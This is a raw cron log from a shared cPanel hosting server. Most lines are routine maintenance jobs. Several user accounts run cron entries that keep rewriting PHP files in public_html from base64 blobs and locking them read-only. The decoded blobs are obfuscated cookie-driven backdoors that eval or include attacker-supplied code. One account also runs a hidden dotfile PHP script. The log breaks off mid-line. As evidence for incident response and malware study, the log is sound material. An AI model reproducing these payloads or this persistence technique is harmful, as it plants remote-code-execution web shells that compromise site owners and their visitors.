Jun  7 05:14:01 medusa CROND[28361]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:14:01 medusa CROND[28365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:14:01 medusa CROND[28366]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:14:01 medusa CROND[28368]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:14:01 medusa CROND[28369]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:14:01 medusa CROND[28363]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:15:01 medusa CROND[29894]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:15:01 medusa CROND[29898]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:15:01 medusa CROND[29897]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:15:01 medusa CROND[29899]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:15:01 medusa CROND[29895]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:15:01 medusa CROND[29896]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:15:01 medusa CROND[29900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:15:01 medusa CROND[29901]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:15:01 medusa CROND[29902]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:15:01 medusa CROND[29903]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:15:01 medusa CROND[29907]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:15:01 medusa CROND[29910]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:15:01 medusa CROND[29911]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:15:01 medusa CROND[29914]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:15:01 medusa CROND[29918]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:15:01 medusa CROND[29909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:15:01 medusa CROND[29917]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:15:01 medusa CROND[29920]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 05:15:01 medusa CROND[29923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:15:01 medusa CROND[29924]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:15:01 medusa CROND[29921]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:15:01 medusa CROND[29930]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:15:01 medusa CROND[29938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:16:01 medusa CROND[31337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:16:01 medusa CROND[31338]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:16:01 medusa CROND[31339]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:16:01 medusa CROND[31340]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:16:01 medusa CROND[31341]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:16:01 medusa CROND[31342]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:16:01 medusa CROND[31344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:16:01 medusa CROND[31346]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:16:01 medusa CROND[31350]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcj